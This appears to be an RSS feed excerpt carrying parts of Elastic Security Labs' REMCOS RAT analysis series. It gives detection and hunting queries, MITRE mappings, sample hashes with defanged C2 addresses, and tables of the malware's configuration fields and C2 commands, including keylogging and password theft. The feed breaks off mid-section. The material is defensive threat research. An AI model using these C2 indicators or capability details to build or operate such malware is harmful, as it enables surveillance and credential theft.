<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/privilege_escalation_uac_bypass_via_icmluautil_elevated_com_interface.toml">UAC Bypass via ICMLuaUtil Elevated COM Interface</a></li>
</ul>
<p><strong>Evasion (Disable UAC)</strong></p>
<ul>
<li><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/privilege_escalation_disable_uac_registry.toml">Disabling User Account Control via Registry Modification</a> (REMCOS spawns cmd.exe that uses reg.exe to disable UAC via registry modification)</li>
</ul>
<p><strong>Command and Control</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_dynamic_dns_provider_by_an_unsigned_binary.toml">Connection to Dynamic DNS Provider by an Unsigned Binary</a> (although it’s not a requirement but most of the observed samples use dynamic DNS)</li>
</ul>
<p><strong>File Deletion</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/command_and_control_remcos_rat_inetcookies_file_deletion.toml">Remcos RAT INETCookies File Deletion</a></li>
</ul>
<p><strong>Modify Registry</strong></p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/72bede645f2fbb34cf3882fa2758c896a0073c6b/behavior/rules/command_and_control_remcos_rat_exepath_registry_modification.toml">Remcos RAT ExePath Registry Modification</a></li>
</ul>
<p>The ExePath registry value used by the REMCOS watchdog process can be used as an indicator of compromise. Below is a KQL query example :</p>
<pre><code>event.category:&quot;registry&quot; and event.action:&quot;modification&quot; and 
registry.value:&quot;EXEpath&quot; and not process.code_signature.trusted:true
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-four/image1.png" alt="" title="image_tooltip" /></p>
<p>REMCOS includes three options for clearing browser data, possibly in an attempt to force victim users to re-enter their web credentials for keylogging:</p>
<ul>
<li><code>enable_browser_cleaning_on_startup_flag</code></li>
<li><code>enable_browser_cleaning_only_for_the_first_run_flag</code></li>
<li><code>browser_cleaning_sleep_time_in_minutes</code></li>
</ul>
<p>This results in the deletion of browser cookies and history-related files. The following KQL query can be used to hunt for such behavior by an unsigned process:</p>
<pre><code>event.category:file and event.action:deletion and file.name:container.dat and 
file.path:*INetCookies* and not process.code_signature.trusted:true
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-four/image3.png" alt="" title="image_tooltip" /></p>
<p>REMCOS also employs three main information collection methods. The first one is keylogging via <a href="https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-setwindowshookexa">SetWindowsHookEx</a> API. The following <a href="https://www.elastic.co/pt/guide/en/elasticsearch/reference/current/esql-language.html">ES|QL</a> can be used to hunt for rare or unusual processes performing this behavior:</p>
<pre><code>from logs-endpoint.events.api*

/* keylogging can be done by calling SetwindowsHook to hook keyboard events */

| where event.category == &quot;api&quot; and process.Ext.api.name == &quot;SetWindowsHookEx&quot; and process.Ext.api.parameters.hook_type like &quot;WH_KEYBOARD*&quot;

/* normalize process paths to ease aggregation by process path */

| eval process_path = replace(process.executable, &quot;&quot;&quot;([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\.tmp|DX[A-Z0-9]{3,4}\.tmp|7z[A-Z0-9]{3,5}\.tmp|[0-9\.\-\_]{3,})&quot;&quot;&quot;, &quot;&quot;)
| eval process_path = replace(process_path, &quot;&quot;&quot;[cC]:\\[uU][sS][eE][rR][sS]\\[a-zA-Z0-9\.\-\_\$~]+\\&quot;&quot;&quot;, &quot;C:\\\\users\\\\user\\\\&quot;)

/* limit results to those that are unique to a host across the agents fleet */

| stats occurrences = count(*), agents = count_distinct(host.id) by process_path
| where occurrences == 1 and agents == 1
</code></pre>
<p>Below is an example of matches on <code>iexplore.exe</code> (injected by REMCOS):</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-four/image5.png" alt="ES|QL hunt for rare processes calling SetWindowsHoook to hook keyboard events" title="ES|QL hunt for rare processes calling SetWindowsHoook to hook keyboard events" /></p>
<p>The second method takes multiple screenshots and saves them as jpg files with a specific naming pattern starting with <code>time_year-month-day_hour-min-sec.jpb</code> (e.g. <code>time_20240308_171037.jpg</code>). The following <a href="https://www.elastic.co/pt/guide/en/elasticsearch/reference/current/esql-language.html">ES|QL</a> hunt can be used to identify suspicious processes with similar behavior :</p>
<pre><code>from logs-endpoint.events.file*

/* remcos screenshots naming pattern */

| where event.category == &quot;file&quot; and host.os.family == &quot;windows&quot; and event.action == &quot;creation&quot; and file.extension == &quot;jpg&quot; and file.name rlike &quot;&quot;&quot;time_202\d{5}_\d{6}.jpg&quot;&quot;&quot;
| stats occurrences = count(*), agents = count_distinct(host.id) by process.name, process.entity_id 
 
 /* number of screenshots i more than 5 by same process.pid and this behavior is limited to a unique host/process */

| where occurrences &gt;= 5 and agents == 1
</code></pre>
<p>The following image shows both REMCOS and the injected iexplore.exe instance (further investigation can be done by pivoting by the <a href="https://www.elastic.co/pt/guide/en/ecs/current/ecs-process.html#field-process-entity-id">process.entity_id</a>):</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-four/image6.png" alt="ES|QL hunt for rare processes creating JPG files similar to REMCOS behavior" title="ES|QL hunt for rare processes creating JPG files similar to REMCOS behavior" /></p>
<p>The third collection method is an audio recording saved as WAV files. The following <a href="https://www.elastic.co/pt/guide/en/elasticsearch/reference/current/esql-language.html">ES|QL</a> hunt can be used to find rare processes dropping WAV files:</p>
<pre><code>from logs-endpoint.events.file*
| where event.category == &quot;file&quot; and host.os.family == &quot;windows&quot; and event.action == &quot;creation&quot; and file.extension == &quot;wav&quot;

/* normalize process paths to ease aggregation by process path */

| eval process_path = replace(process.executable, &quot;&quot;&quot;([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\.tmp|DX[A-Z0-9]{3,4}\.tmp|7z[A-Z0-9]{3,5}\.tmp|[0-9\.\-\_]{3,})&quot;&quot;&quot;, &quot;&quot;)
| eval process_path = replace(process_path, &quot;&quot;&quot;[cC]:\\[uU][sS][eE][rR][sS]\\[a-zA-Z0-9\.\-\_\$~]+\\&quot;&quot;&quot;, &quot;C:\\\\users\\\\user\\\\&quot;)
| stats wav_files_count = count(*), agents = count_distinct(host.id) by process_path

/* limit results to unique process observed in 1 agent and number of dropped wav files is less than 20 */

| where agents == 1 and wav_files_count &lt;= 10
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-four/image2.png" alt="ES|QL hunt for rare processes creating WAV files" title="ES|QL hunt for rare processes creating WAV files" /></p>
<p>The following <a href="https://www.elastic.co/pt/guide/en/elasticsearch/reference/current/esql-language.html">ES|QL</a> hunt can also look for processes that drop both JPG and WAV files using the same <code>process.pid</code> :</p>
<pre><code>from logs-endpoint.events.file*
| where event.category == &quot;file&quot; and host.os.family == &quot;windows&quot; and event.action == &quot;creation&quot; and file.extension in (&quot;wav&quot;, &quot;jpg&quot;) and 

/* excluding privileged processes and limiting the hunt to unsigned 
process or signed by untrusted certificate or signed by Microsoft */

not user.id in (&quot;S-1-5-18&quot;, &quot;S-1-5-19&quot;, &quot;S-1-5-20&quot;) and (process.code_signature.trusted == false or process.code_signature.exists == false or starts_with(process.code_signature.subject_name, &quot;Microsoft&quot;)) 
| eval wav_pids = case(file.extension == &quot;wav&quot;, process.entity_id, null), jpg_pids = case(file.extension == &quot;jpg&quot;, process.entity_id, null), others = case(file.extension != &quot;wav&quot; and file.extension != &quot;jpg&quot;, process.entity_id, null)

/* number of jpg and wav files created by unique process identifier */

| stats count_wav_files = count(wav_pids), count_jpg_files = count(jpg_pids), other_files = count(others) by process.entity_id, process.name

/* limit results to same process dropping both file extensions */

| where count_jpg_files &gt;= 1 and count_wav_files &gt;= 1
</code></pre>
<p>Examples of matches on both REMCOS and the injected <code>iexplore.exe</code> process:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-four/image4.png" alt="ES|QL hunts for unique processes dropping image and audio files" title="ES|QL hunts for unique processes dropping image and audio files" /></p>
<p>Pivoting by <a href="https://www.elastic.co/pt/guide/en/ecs/current/ecs-process.html#field-process-entity-id">process.entity_id</a> to further investigate suspicious processes, installers, browsers, and decompression utilities are often the most observed false positives.</p>
<h2>YARA rule</h2>
<p>The REMCOS version 4.9.3 is detected statically using the following <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Remcos.yar">YARA rule</a> produced by Elastic Security Labs</p>
<h2>Malware and MITRE ATT&amp;CK</h2>
<p>Elastic uses the<a href="https://attack.mitre.org/"> MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the <em>why</em> of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0004">Privilege Escalation</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0006">Credential Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003">Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/005">Visual Basic</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001">Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1555/003">Credentials from Web Browsers</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573">Encrypted Channel</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/003/">System Binary Proxy Execution: CMSTP</a></li>
<li><a href="https://attack.mitre.org/techniques/T1548/002/">Bypass User Account Control</a></li>
</ul>
<h2>Conclusion</h2>
<p>As the REMCOS continues to rapidly evolve, our in-depth analysis of version 4.9.3 offers critical insights that can significantly aid the malware research community in comprehending and combatting this pervasive threat.</p>
<p>By uncovering its features and capabilities in this series, we provide essential information that enhances understanding and strengthens defenses against this malicious software.</p>
<p>We've also shown that our Elastic Defend product can detect and stop the REMCOS threat. As this article demonstrates, our new query language, ES|QL, makes hunting for threats simple and effective.</p>
<p>Elastic Security Labs remains committed to this endeavor as part of our open-source philosophy, which is dedicated to sharing knowledge and collaborating with the broader cybersecurity community. Moving forward, we will persist in analyzing similar malware families, contributing valuable insights to bolster collective defense against emerging cyber threats.</p>
<h2>Sample hashes and C2s</h2>
<p>(Analysis reference) <strong>0af76f2897158bf752b5ee258053215a6de198e8910458c02282c2d4d284add5</strong></p>
<p>remchukwugixiemu4.duckdns[.]org:57844</p>
<p>remchukwugixiemu4.duckdns[.]org:57846</p>
<p>remchukwugix231fgh.duckdns[.]org:57844</p>
<p>remchukwugix231fgh.duckdns[.]org:57846</p>
<p><strong>3e32447ea3b5f07c7f6a180269f5443378acb32c5d0e0bf01a5e39264f691587</strong></p>
<p>122.176.133[.]66:2404</p>
<p>122.176.133[.]66:2667</p>
<p><strong>8c9202885700b55d73f2a76fbf96c1b8590d28b061efbadf9826cdd0e51b9f26</strong></p>
<p>43.230.202[.]33:7056</p>
<p><strong>95dfdb588c7018babd55642c48f6bed1c281cecccbd522dd40b8bea663686f30</strong></p>
<p>107.175.229[.]139:8087</p>
<p><strong>517f65402d3cf185037b858a5cfe274ca30090550caa39e7a3b75be24e18e179</strong></p>
<p>money001.duckdns[.]org:9596</p>
<p><strong>b1a149e11e9c85dd70056d62b98b369f0776e11b1983aed28c78c7d5189cfdbf</strong></p>
<p>104.250.180[.]178:7902</p>
<p><strong>ba6ee802d60277f655b3c8d0215a2abd73d901a34e3c97741bc377199e3a8670</strong></p>
<p>185.70.104[.]90:2404</p>
<p>185.70.104[.]90:8080</p>
<p>185.70.104[.]90:465</p>
<p>185.70.104[.]90:80</p>
<p>77.105.132[.]70:80</p>
<p>77.105.132[.]70:8080</p>
<p>77.105.132[.]70:2404</p>
<p>77.105.132[.]70:465</p>
<h2>Research references</h2>
<ul>
<li><a href="https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing">https://www.fortinet.com/blog/threat-research/latest-remcos-rat-phishing</a></li>
<li><a href="https://www.jaiminton.com/reverse-engineering/remcos">https://www.jaiminton.com/reverse-engineering/remcos</a></li>
<li><a href="https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf">https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf</a></li>
</ul>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-four/Security Labs Images 18.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Dissecting REMCOS RAT: An in-depth analysis of a widespread 2024 malware, Part Three]]></title>
            <link>https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-three</link>
            <guid>dissecting-remcos-rat-part-three</guid>
            <pubDate>Fri, 03 May 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[In previous articles in this multipart series, malware researchers on the Elastic Security Labs team dove into the REMCOS execution flow. In this article, you’ll learn more about REMCOS configuration structure and its C2 commands.]]></description>
            <content:encoded><![CDATA[<p>In <a href="https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-one">previous</a> <a href="https://www.elastic.co/pt/security-labs/dissecting-remcos-rat-part-two">articles</a> in this multipart series, malware researchers on the Elastic Security Labs team analyzed REMCOS execution flow, detailing its recording capabilities and its communication with  C2. In this article, you’ll learn more about REMCOS configuration structure and its C2 commands.</p>
<h2>The configuration</h2>
<p>In this section, we provide a comprehensive overview of the configuration fields of the malware.</p>
<h3>Configuration Table</h3>
<p>Researchers successfully recovered approximately 80% of the configuration structure (45 out of 56 fields). We provide detailed configuration information in the following table:</p>
<table>
<thead>
<tr>
<th>Index</th>
<th>Name</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x0</td>
<td>c2_list</td>
<td>String containing “domain:port:enable_tls“ separated by the “\x1e” character</td>
</tr>
<tr>
<td>0x1</td>
<td>botnet</td>
<td>Name of the botnet</td>
</tr>
<tr>
<td>0x2</td>
<td>connect_interval</td>
<td>Interval in second between connection attempt to C2</td>
</tr>
<tr>
<td>0x3</td>
<td>enable_install_flag</td>
<td>Install REMCOS on the machine host</td>
</tr>
<tr>
<td>0x4</td>
<td>enable_hkcu_run_persistence_flag</td>
<td>Enable setup of the persistence in the registry</td>
</tr>
<tr>
<td>0x5</td>
<td>enable_hklm_run_persistence_flag</td>
<td>Enable setup of the persistence in the registry</td>
</tr>
<tr>
<td>0x7</td>
<td>keylogger_maximum_file_size</td>
<td>Maximum size of the keylogging data before rotation</td>
</tr>
<tr>
<td>0x8</td>
<td>enable_hklm_policies_explorer_run_flag</td>
<td>Enable setup of the persistence in the registry</td>
</tr>
<tr>
<td>0x9</td>
<td>install_parent_directory</td>
<td>Parent directory of the install folder. Integer mapped to an hardcoded path</td>
</tr>
<tr>
<td>0xA</td>
<td>install_filename</td>
<td>Name of the REMCOS binary once installed</td>
</tr>
<tr>
<td>0xC</td>
<td>enable_persistence_directory_and_binary_hidding_flag</td>
<td>Enable super hiding the install directory and binary as well as setting them to read only</td>
</tr>
<tr>
<td>0xD</td>
<td>enable_process_injection_flag</td>
<td>Enable running the malware injected in another process</td>
</tr>
<tr>
<td>0xE</td>
<td>mutex</td>
<td>String used as the malware mutex and registry key</td>
</tr>
<tr>
<td>0xF</td>
<td>keylogger_mode</td>
<td>Set keylogging capability. Keylogging mode, 0 = disabled, 1 = keylogging everything, 2 = keylogging specific window(s)</td>
</tr>
<tr>
<td>0x10</td>
<td>keylogger_parent_directory</td>
<td>Parent directory of the keylogging folder. Integer mapped to an hardcoded path</td>
</tr>
<tr>
<td>0x11</td>
<td>keylogger_filename</td>
<td>Filename of the keylogged data</td>
</tr>
<tr>
<td>0x12</td>
<td>enable_keylogger_file_encryption_flag</td>
<td>Enable encryption RC4 of the keylogger data file</td>
</tr>
<tr>
<td>0x13</td>
<td>enable_keylogger_file_hidding_flag</td>
<td>Enable super hiding of the keylogger data file</td>
</tr>
<tr>
<td>0x14</td>
<td>enable_screenshot_flag</td>
<td>Enable screen recording capability</td>
</tr>
<tr>
<td>0x15</td>
<td>screenshot_interval_in_minutes</td>
<td>The time interval in minute for capturing each screenshot</td>
</tr>
<tr>
<td>0x16</td>
<td>enable_screenshot_specific_window_names_flag</td>
<td>Enable screen recording for specific window names</td>
</tr>
<tr>
<td>0x17</td>
<td>screenshot_specific_window_names</td>
<td>String containing window names separated by the “;” character</td>
</tr>
<tr>
<td>0x18</td>
<td>screenshot_specific_window_names_interval_in_seconds</td>
<td>The time interval in second for capturing each screenshot when a specific window name is found in the current foreground window title</td>
</tr>
<tr>
<td>0x19</td>
<td>screenshot_parent_directory</td>
<td>Parent directory of the screenshot folder. Integer mapped to an hardcoded path</td>
</tr>
<tr>
<td>0x1A</td>
<td>screenshot_folder</td>
<td>Name of the screenshot folder</td>
</tr>
<tr>
<td>0x1B</td>
<td>enable_screenshot_encryption_flag</td>
<td>Enable encryption of screenshots</td>
</tr>
<tr>
<td>0x23</td>
<td>enable_audio_recording_flag</td>
<td>Enable audio recording capability</td>
</tr>
<tr>
<td>0x24</td>
<td>audio_recording_duration_in_minutes</td>
<td>Duration in second of each audio recording</td>
</tr>
<tr>
<td>0x25</td>
<td>audio_record_parent_directory</td>
<td>Parent directory of the audio recording folder. Integer mapped to an hardcoded path</td>
</tr>
<tr>
<td>0x26</td>
<td>audio_record_folder</td>
<td>Name of the audio recording folder</td>
</tr>
<tr>
<td>0x27</td>
<td>disable_uac_flag</td>
<td>Disable UAC in the registry</td>
</tr>
<tr>
<td>0x28</td>
<td>logging_mode</td>
<td>Set logging mode: 0 = disabled, 1 = minimized in tray, 2 = console logging</td>
</tr>
<tr>
<td>0x29</td>
<td>connect_delay_in_second</td>
<td>Delay in second before the first connection attempt to the C2</td>
</tr>
<tr>
<td>0x2A</td>
<td>keylogger_specific_window_names</td>
<td>String containing window names separated by the “;” character</td>
</tr>
<tr>
<td>0x2B</td>
<td>enable_browser_cleaning_on_startup_flag</td>
<td>Enable cleaning web browsers’ cookies and logins on REMCOS startup</td>
</tr>
<tr>
<td>0x2C</td>
<td>enable_browser_cleaning_only_for_the_first_run_flag</td>
<td>Enable web browsers cleaning only on the first run of Remcos</td>
</tr>
<tr>
<td>0x2D</td>
<td>browser_cleaning_sleep_time_in_minutes</td>
<td>Sleep time in minute before cleaning the web browsers</td>
</tr>
<tr>
<td>0x2E</td>
<td>enable_uac_bypass_flag</td>
<td>Enable UAC bypass capability</td>
</tr>
<tr>
<td>0x30</td>
<td>install_directory</td>
<td>Name of the install directory</td>
</tr>
<tr>
<td>0x31</td>
<td>keylogger_root_directory</td>
<td>Name of the keylogger directory</td>
</tr>
<tr>
<td>0x32</td>
<td>enable_watchdog_flag</td>
<td>Enable watchdog capability</td>
</tr>
<tr>
<td>0x34</td>
<td>license</td>
<td>License serial</td>
</tr>
<tr>
<td>0x35</td>
<td>enable_screenshot_mouse_drawing_flag</td>
<td>Enable drawing the mouse on each screenshot</td>
</tr>
<tr>
<td>0x36</td>
<td>tls_raw_certificate</td>
<td>Certificate in raw format used with tls enabled C2 communication</td>
</tr>
<tr>
<td>0x37</td>
<td>tls_key</td>
<td>Key of the certificate</td>
</tr>
<tr>
<td>0x38</td>
<td>tls_raw_peer_certificate</td>
<td>C2 public certificate in raw format</td>
</tr>
</tbody>
</table>
<h3>Integer to path mapping</h3>
<p>REMCOS utilizes custom mapping for some of its &quot;folder&quot; fields instead of a string provided by the user.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image70.png" alt="" /></p>
<p>We provide details of the mapping below:</p>
<table>
<thead>
<tr>
<th>Value</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>%Temp%</td>
</tr>
<tr>
<td>1</td>
<td>Current malware directory</td>
</tr>
<tr>
<td>2</td>
<td>%SystemDrive%</td>
</tr>
<tr>
<td>3</td>
<td>%WinDir%</td>
</tr>
<tr>
<td>4</td>
<td>%WinDir%//SysWOW64</td>
</tr>
<tr>
<td>5</td>
<td>%ProgramFiles%</td>
</tr>
<tr>
<td>6</td>
<td>%AppData%</td>
</tr>
<tr>
<td>7</td>
<td>%UserProfile%</td>
</tr>
<tr>
<td>8</td>
<td>%ProgramData%</td>
</tr>
</tbody>
</table>
<h3>Configuration extraction, an inside perspective</h3>
<p>We enjoy building tools, and we'd like to take this opportunity to provide some insight into the type of tools we develop to aid in our analysis of malware families like REMCOS.</p>
<p>We developed a configuration extractor called &quot;conf-tool&quot;, which not only extracts and unpacks the configuration from specific samples but can also repackage it with modifications.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image28.png" alt="conf-tool help screen" /></p>
<p>First, we unpack the configuration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image35.png" alt="Unpacking the configuration" /></p>
<p>The configuration is saved to the disk as a JSON document, with each field mapped to its corresponding type.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image86.png" alt="Dumped configuration in JSON format" /></p>
<p>We are going to replace all the domains in the list with the IP address of our C2 emulator to initiate communication with the sample.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image44.png" alt="Setting our IP in the C2 list" /></p>
<p>We are also enabling the logging mode to console (2):</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image37.png" alt="Setting logging mode to console in the configuration" /></p>
<p>Once we're done, repack everything:
<img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image35.png" alt="Repacking the configuration in the REMCOS sample" /></p>
<p>And voilà, we have the console, and the sample attempts to connect to our emulator!</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image65.png" alt="REMCOS console" /></p>
<p>We are releasing a <a href="https://github.com/elastic/labs-releases/tree/main/extractors/remcos">REMCOS malware configuration extractor</a> that includes some of these features.</p>
<h2>C2 commands</h2>
<p>In this section, we present a list of all the commands we've reversed that are executable by the Command and Control (C2). Furthermore, we provide additional details for a select subset of commands.</p>
<h3>Command table</h3>
<p>Researchers recovered approximately 95% of the commands (74 out of 78). We provide information about the commands in the following table:</p>
<table>
<thead>
<tr>
<th>Function</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1</td>
<td>HeartBeat</td>
</tr>
<tr>
<td>0x2</td>
<td>DisableKeepAlive</td>
</tr>
<tr>
<td>0x3</td>
<td>ListInstalledApplications</td>
</tr>
<tr>
<td>0x6</td>
<td>ListRunningProcesses</td>
</tr>
<tr>
<td>0x7</td>
<td>TerminateProcess</td>
</tr>
<tr>
<td>0x8</td>
<td>ListProcessesWindows</td>
</tr>
<tr>
<td>0x9</td>
<td>CloseWindow</td>
</tr>
<tr>
<td>0xA</td>
<td>ShowWindowMaximized</td>
</tr>
<tr>
<td>0xB</td>
<td>ShowWindowRestore</td>
</tr>
<tr>
<td>0xC</td>
<td>TerminateProcessByWindowHandleAndListProcessesWindows</td>
</tr>
<tr>
<td>0xD</td>
<td>ExecuteShellCmd</td>
</tr>
<tr>
<td>0xE</td>
<td>StartPipedShell</td>
</tr>
<tr>
<td>0xF</td>
<td>ExecuteProgram</td>
</tr>
<tr>
<td>0x10</td>
<td>MaybeUploadScreenshots</td>
</tr>
<tr>
<td>0x11</td>
<td>GetHostGeolocation</td>
</tr>
<tr>
<td>0x12</td>
<td>GetOfflineKeyloggerInformation</td>
</tr>
<tr>
<td>0x13</td>
<td>StartOnlineKeylogger</td>
</tr>
<tr>
<td>0x14</td>
<td>StopOnlineKeylogger</td>
</tr>
<tr>
<td>0x15</td>
<td>MaybeSetKeyloggerNameAndUploadData</td>
</tr>
<tr>
<td>0x16</td>
<td>UploadKeyloggerData</td>
</tr>
<tr>
<td>0x17</td>
<td>DeleteKeyloggerDataThenUploadIfAnythingNewInbetween</td>
</tr>
<tr>
<td>0x18</td>
<td>CleanBrowsersCookiesAndLogins</td>
</tr>
<tr>
<td>0x1B</td>
<td>StartWebcamModule</td>
</tr>
<tr>
<td>0x1C</td>
<td>StopWebcamModule</td>
</tr>
<tr>
<td>0x1D</td>
<td>EnableAudioCapture</td>
</tr>
<tr>
<td>0x1E</td>
<td>DisableAudioCapture</td>
</tr>
<tr>
<td>0x1F</td>
<td>StealPasswords</td>
</tr>
<tr>
<td>0x20</td>
<td>DeleteFile</td>
</tr>
<tr>
<td>0x21</td>
<td>TerminateSelfAndWatchdog</td>
</tr>
<tr>
<td>0x22</td>
<td>Uninstall</td>
</tr>
<tr>
<td>0x23</td>
<td>Restart</td>
</tr>
<tr>
<td>0x24</td>
<td>UpdateFromURL</td>
</tr>
<tr>
<td>0x25</td>
<td>UpdateFromC2</td>
</tr>
<tr>
<td>0x26</td>
<td>MessageBox</td>
</tr>
<tr>
<td>0x27</td>
<td>ShutdownOrHibernateHost</td>
</tr>
<tr>
<td>0x28</td>
<td>UploadClipboardData</td>
</tr>
<tr>
<td>0x29</td>
<td>SetClipboardToSpecificData</td>
</tr>
<tr>
<td>0x2A</td>
<td>EmptyClipboardThenUploadIfAnythingInbetween</td>
</tr>
<tr>
<td>0x2B</td>
<td>LoadDllFromC2</td>
</tr>
<tr>
<td>0x2C</td>
<td>LoadDllFromURL</td>
</tr>
<tr>
<td>0x2D</td>
<td>StartFunFuncModule</td>
</tr>
<tr>
<td>0x2F</td>
<td>EditRegistry</td>
</tr>
<tr>
<td>0x30</td>
<td>StartChatModule</td>
</tr>
<tr>
<td>0x31</td>
<td>SetBotnetName</td>
</tr>
<tr>
<td>0x32</td>
<td>StartProxyModule</td>
</tr>
<tr>
<td>0x34</td>
<td>ManageService</td>
</tr>
<tr>
<td>0x8F</td>
<td>SearchFile</td>
</tr>
<tr>
<td>0x92</td>
<td>SetWallpaperFromC2</td>
</tr>
<tr>
<td>0x94</td>
<td>SetWindowTextThenListProcessesWindow</td>
</tr>
<tr>
<td>0x97</td>
<td>UploadDataFromDXDiag</td>
</tr>
<tr>
<td>0x98</td>
<td>FileManager</td>
</tr>
<tr>
<td>0x99</td>
<td>ListUploadScreenshots</td>
</tr>
<tr>
<td>0x9A</td>
<td>DumpBrowserHistoryUsingNirsoft</td>
</tr>
<tr>
<td>0x9E</td>
<td>TriggerAlarmWav</td>
</tr>
<tr>
<td>0x9F</td>
<td>EnableAlarmOnC2Disconnect</td>
</tr>
<tr>
<td>0xA0</td>
<td>DisableAlarmOnC2Disconnect</td>
</tr>
<tr>
<td>0xA2</td>
<td>DownloadAlarmWavFromC2AndOptPlayIt</td>
</tr>
<tr>
<td>0xA3</td>
<td>AudioPlayer</td>
</tr>
<tr>
<td>0xAB</td>
<td>ElevateProcess</td>
</tr>
<tr>
<td>0xAC</td>
<td>EnableLoggingConsole</td>
</tr>
<tr>
<td>0xAD</td>
<td>ShowWindow</td>
</tr>
<tr>
<td>0xAE</td>
<td>HideWindow</td>
</tr>
<tr>
<td>0xB2</td>
<td>ShellExecuteOrInjectPEFromC2OrURL</td>
</tr>
<tr>
<td>0xC5</td>
<td>RegistrySetHlightValue</td>
</tr>
<tr>
<td>0xC6</td>
<td>UploadBrowsersCookiesAndPasswords</td>
</tr>
<tr>
<td>0xC8</td>
<td>SuspendProcess</td>
</tr>
<tr>
<td>0xC9</td>
<td>ResumeProcess</td>
</tr>
<tr>
<td>0xCA</td>
<td>ReadFile</td>
</tr>
<tr>
<td>0xCB</td>
<td>WriteFile</td>
</tr>
<tr>
<td>0xCC</td>
<td>StartOfflineKeylogger</td>
</tr>
<tr>
<td>0xCD</td>
<td>StopOfflineKeylogger</td>
</tr>
<tr>
<td>0xCE</td>
<td>ListProcessesTCPandUDPTables</td>
</tr>
</tbody>
</table>
<h3>ListInstalledApplications command</h3>
<p>To list installed applications, REMCOS iterates over the <code>Software\Microsoft\Windows\CurrentVersion\Uninstall</code> registry key. For each subkey, it queries the following values:</p>
<ul>
<li><code>DisplayName</code></li>
<li><code>Publisher</code></li>
<li><code>DisplayVersion</code></li>
<li><code>InstallLocation</code></li>
<li><code>InstallDate</code></li>
<li><code>UninstallString</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image61.png" alt="0x41C68F REMCOS listing installed applications" /></p>
<h3>ExecuteShellCmd command</h3>
<p>Shell commands are executed using the ShellExecuteW API with <code>cmd.exe /C {command}</code> as arguments.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/dissecting-remcos-rat-part-three/image19.png" alt="Executing a shell command using ShellExecuteW with cmd.exe" /></p>
<h3>GetHostGeolocation command</h3>
